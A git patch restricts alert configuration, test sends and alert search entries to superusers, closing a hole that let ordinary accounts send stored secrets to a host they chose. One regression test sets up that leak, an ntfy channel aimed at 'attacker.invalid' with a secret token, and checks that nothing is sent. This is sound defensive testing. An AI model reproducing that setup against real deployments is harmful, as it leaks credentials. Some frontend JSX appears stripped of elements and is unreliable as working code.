From 2dc20911a34c3857ccf84e4f0d02cc61cec5546d Mon Sep 17 00:00:00 2001 From: stroblme Date: Wed, 28 Oct 2026 12:40:44 +0100 Subject: [PATCH] Alerts: configuration, test and search entries are a superuser's; subscribing a browser stays open Any signed-in account could save an ntfy channel with its own `server` and a `{"$secret": ...}` token and press Test, which sent the stored secret to that host. The config GET/PUT, the test route and the global search's alert entries now answer to superusers, like /secrets. The webpush key and subscribe routes stay open to every account, and the Alerts page shows a non-superuser only the button for its own browser. The events table in the docs gains run_finished. --- backend/fluksio/api/routes/alerts.py | 20 +++++-- backend/fluksio/api/routes/search.py | 13 +++-- backend/tests/api/routes/test_alerts.py | 76 +++++++++++++++++++++++++ backend/tests/api/routes/test_search.py | 22 +++++++ docs/code/api.md | 5 +- docs/interface/operations.md | 5 +- frontend/src/client/sdk.gen.ts | 3 +- frontend/src/routes/_layout/alerts.tsx | 23 +++++++- 8 files changed, 153 insertions(+), 14 deletions(-) diff --git a/backend/fluksio/api/routes/alerts.py b/backend/fluksio/api/routes/alerts.py index 4ea3ca5..9853bd5 100644 --- a/backend/fluksio/api/routes/alerts.py +++ b/backend/fluksio/api/routes/alerts.py @@ -7,15 +7,27 @@ from fastapi import APIRouter, Depends, HTTPException from fastapi.concurrency import run_in_threadpool from pydantic import BaseModel -from fluksio.api.deps import FlowControllerDep, get_current_user +from fluksio.api.deps import ( + FlowControllerDep, + get_current_active_superuser, + get_current_user, +) from fluksio.core.config import settings from fluksio.flow import webpush from fluksio.flow.alerts import Alert, AlertsConfig from fluksio.models import Message +# Reading or changing where alerts go is a superuser's: a channel setting may +# hold a `{"$secret": ...}` reference that `send` resolves, and the url or +# server beside it is the sender's to choose, so an ordinary account could +# point a stored credential at a host of its own and press Test. The topic of +# an ntfy channel and a webhook's url are credentials too, so reading is gated +# as well. Subscribing a browser stays open to every account: it only says +# where *this* device can be reached. router = APIRouter( prefix="/alerts", tags=["alerts"], dependencies=[Depends(get_current_user)] ) +SUPERUSER = [Depends(get_current_active_superuser)] def _path() -> Path: @@ -41,13 +53,13 @@ def write_config(config: AlertsConfig) -> None: path.write_text(config.model_dump_json(indent=2)) -@router.get("/config", response_model=AlertsConfig) +@router.get("/config", response_model=AlertsConfig, dependencies=SUPERUSER) async def read_alerts_config() -> Any: """What the engine alerts on, and where it sends it.""" return await run_in_threadpool(read_config) -@router.put("/config", response_model=AlertsConfig) +@router.put("/config", response_model=AlertsConfig, dependencies=SUPERUSER) async def save_alerts_config(body: AlertsConfig, controller: FlowControllerDep) -> Any: """Replace the configuration. Takes effect immediately.""" known = {channel.name for channel in body.channels} @@ -95,7 +107,7 @@ async def remove_webpush_subscription(body: Unsubscribe) -> Any: return Message(message="This browser will no longer be notified") -@router.post("/test/{channel_name}", response_model=Message) +@router.post("/test/{channel_name}", response_model=Message, dependencies=SUPERUSER) async def test_channel(channel_name: str, controller: FlowControllerDep) -> Any: """Send one alert, to prove the channel works before relying on it.""" if controller.alerts is None: diff --git a/backend/fluksio/api/routes/search.py b/backend/fluksio/api/routes/search.py index c5d124b..e00b4c0 100644 --- a/backend/fluksio/api/routes/search.py +++ b/backend/fluksio/api/routes/search.py @@ -252,10 +252,12 @@ def _build( for worker in (hub.workers() if hub is not None else []) ) - entries.extend( - SearchEntry(category="alert", name=channel.name, kind=channel.kind) - for channel in read_alerts_config().channels - ) + # Named only to a superuser, like the secrets: `/alerts` answers to them. + if secrets: + entries.extend( + SearchEntry(category="alert", name=channel.name, kind=channel.kind) + for channel in read_alerts_config().channels + ) return entries @@ -273,7 +275,8 @@ async def read_search_index( instance of any ordinary size, so one fetch when the panel opens beats a round trip per keystroke — and the client already has a matcher. - Secrets are named only to a superuser, which is who ``/secrets`` answers to. + Secrets and alert channels are named only to a superuser, which is who + ``/secrets`` and ``/alerts`` answer to. """ # Absent when remote workers are switched off — not a reason to fail a search. hub = getattr(request.app.state, "worker_hub", None) diff --git a/backend/tests/api/routes/test_alerts.py b/backend/tests/api/routes/test_alerts.py index 6e749d7..74dd1e6 100644 --- a/backend/tests/api/routes/test_alerts.py +++ b/backend/tests/api/routes/test_alerts.py @@ -64,3 +64,79 @@ def test_an_unknown_channel_is_a_404( response = client.post(f"{PREFIX}/test/nowhere", headers=superuser_token_headers) assert response.status_code == 404 + + +def test_an_ordinary_account_cannot_read_or_change_the_alert_setup( + client: TestClient, normal_user_token_headers: dict[str, str] +) -> None: + """Channels hold credential references, topics and urls: a superuser's.""" + config = {"channels": [], "rules": []} + + assert ( + client.get(f"{PREFIX}/config", headers=normal_user_token_headers).status_code + == 403 + ) + assert ( + client.put( + f"{PREFIX}/config", headers=normal_user_token_headers, json=config + ).status_code + == 403 + ) + assert ( + client.post( + f"{PREFIX}/test/phone", headers=normal_user_token_headers + ).status_code + == 403 + ) + + +def test_a_stored_secret_cannot_be_pointed_at_a_host_an_ordinary_account_chose( + client: TestClient, + superuser_token_headers: dict[str, str], + normal_user_token_headers: dict[str, str], + monkeypatch: pytest.MonkeyPatch, +) -> None: + """An ntfy `server` plus a `$secret` token used to send the secret there.""" + import httpx + + client.put( + f"{settings.API_V1_STR}/secrets/vault-token", + headers=superuser_token_headers, + json={"value": "S3CRET"}, + ) + reached: list[str] = [] + + async def post(_self: Any, url: Any, **_kwargs: Any) -> httpx.Response: + reached.append(str(url)) + return httpx.Response(200, request=httpx.Request("POST", url)) + + monkeypatch.setattr(httpx.AsyncClient, "post", post) + config = { + "channels": [ + { + "name": "x", + "kind": "ntfy", + "config": { + "server": "http://attacker.invalid", + "topic": "t", + "token": {"$secret": "vault-token"}, + }, + } + ], + "rules": [], + } + + client.put(f"{PREFIX}/config", headers=normal_user_token_headers, json=config) + client.post(f"{PREFIX}/test/x", headers=normal_user_token_headers) + + assert reached == [] + + +def test_any_account_can_subscribe_its_own_browser( + client: TestClient, normal_user_token_headers: dict[str, str] +) -> None: + """Where this device can be reached is not a superuser's to hold.""" + response = client.get(f"{PREFIX}/webpush/key", headers=normal_user_token_headers) + + assert response.status_code == 200 + assert response.json()["key"] diff --git a/backend/tests/api/routes/test_search.py b/backend/tests/api/routes/test_search.py index 7eff20a..c63aab1 100644 --- a/backend/tests/api/routes/test_search.py +++ b/backend/tests/api/routes/test_search.py @@ -2,6 +2,7 @@ from typing import Any +import pytest from fastapi.testclient import TestClient from fluksio.api.routes.search import MASK, setting_text @@ -190,3 +191,24 @@ def test_index_lists_a_nodes_settings( assert found["hook.secret"]["detail"] == "secret" assert "hook_secret" not in text assert "s3cr3t-value" not in text + + +def test_alert_channels_are_named_only_to_a_superuser( + client: TestClient, + superuser_token_headers: dict[str, str], + normal_user_token_headers: dict[str, str], + tmp_path: Any, + monkeypatch: pytest.MonkeyPatch, +) -> None: + from fluksio.api.routes.alerts import write_config + from fluksio.flow.alerts import AlertsConfig, Channel + + monkeypatch.setattr(settings, "ALERTS_FILE", tmp_path / "alerts.json") + write_config(AlertsConfig(channels=[Channel(name="phone", kind="ntfy")])) + + def channels(headers: dict[str, str]) -> set[str]: + entries = client.get(f"{PREFIX}/", headers=headers).json() + return {e["name"] for e in entries if e["category"] == "alert"} + + assert channels(superuser_token_headers) == {"phone"} + assert channels(normal_user_token_headers) == set() diff --git a/docs/code/api.md b/docs/code/api.md index 99c5479..585df6b 100644 --- a/docs/code/api.md +++ b/docs/code/api.md @@ -220,8 +220,11 @@ reclaiming space sooner. | `POST` | `/modules/apply` | replace the manifest with `{"requirements": "numpy>=2\n"}` | | `GET`, `PUT` | `/alerts/config` | read or update alert configuration | | `POST` | `/alerts/test/{channel}` | test a channel | +| `GET` | `/alerts/webpush/key` | the key a browser subscribes against; any account | +| `POST` | `/alerts/webpush/subscriptions`, `/alerts/webpush/unsubscribe` | add or remove the calling browser; any account | -Secrets and package changes require a superuser. Applying a manifest replaces +Secrets, package changes and the alert configuration require a superuser. Any +account can subscribe its own browser. Applying a manifest replaces the whole managed environment's package list. Adopted environments are read-only here; install their packages yourself. diff --git a/docs/interface/operations.md b/docs/interface/operations.md index 9db94d8..50767c9 100644 --- a/docs/interface/operations.md +++ b/docs/interface/operations.md @@ -50,7 +50,9 @@ with `fluksio-worker --python /path/to/venv/bin/python`. See ## Alerts Create a channel, choose events in a rule, and use **Test** to check delivery. -Enable alerts for the rules to send. +Enable alerts for the rules to send. Channels and rules belong to superusers, +whose Alerts page holds them. Any other account sees only the button that +subscribes its own browser to a **webpush** channel. ### Channels @@ -79,6 +81,7 @@ matches every supported alert event, including future additions. | `engine_degraded` | engine health degrades | | `cascade_dropped` | the engine drops work | | `queue_unavailable` | the work queue becomes unreachable | +| `run_finished` | a batch run ends in error | Repeated faults are deduplicated with a 15-minute default cooldown. Flapping connections are suppressed, and the engine caps alert dispatches at diff --git a/frontend/src/client/sdk.gen.ts b/frontend/src/client/sdk.gen.ts index 6db2c46..73ab50a 100644 --- a/frontend/src/client/sdk.gen.ts +++ b/frontend/src/client/sdk.gen.ts @@ -2975,7 +2975,8 @@ export class SearchService { * instance of any ordinary size, so one fetch when the panel opens beats a * round trip per keystroke — and the client already has a matcher. * - * Secrets are named only to a superuser, which is who ``/secrets`` answers to. + * Secrets and alert channels are named only to a superuser, which is who + * ``/secrets`` and ``/alerts`` answer to. * @returns SearchEntry Successful Response * @throws ApiError */ diff --git a/frontend/src/routes/_layout/alerts.tsx b/frontend/src/routes/_layout/alerts.tsx index f4bf1c3..544dc6f 100644 --- a/frontend/src/routes/_layout/alerts.tsx +++ b/frontend/src/routes/_layout/alerts.tsx @@ -17,6 +17,7 @@ import { SelectValue, } from "@/components/ui/select" import { Switch } from "@/components/ui/switch" +import useAuth from "@/hooks/useAuth" import useCustomToast from "@/hooks/useCustomToast" import * as webpush from "@/lib/webpush" import { handleError } from "@/utils" @@ -152,9 +153,14 @@ function ThisBrowser() { } function Alerts() { + // Channels and rules are a superuser's: `/alerts/config` answers to them. + // Every account can still subscribe the browser in front of it. + const { user } = useAuth() + const mayConfigure = Boolean(user?.is_superuser) const { data } = useQuery({ queryKey: alertsKey, queryFn: () => AlertsService.readAlertsConfig(), + enabled: mayConfigure, }) return ( @@ -162,10 +168,23 @@ function Alerts() {

Alerts

- Where the engine goes when something breaks. + {mayConfigure + ? "Where the engine goes when something breaks." + : "Hear from the engine on this device when something breaks."}

- {data ? : null} + {mayConfigure ? ( + data ? ( + + ) : null + ) : user ? ( +
+ +
+ ) : null} ) }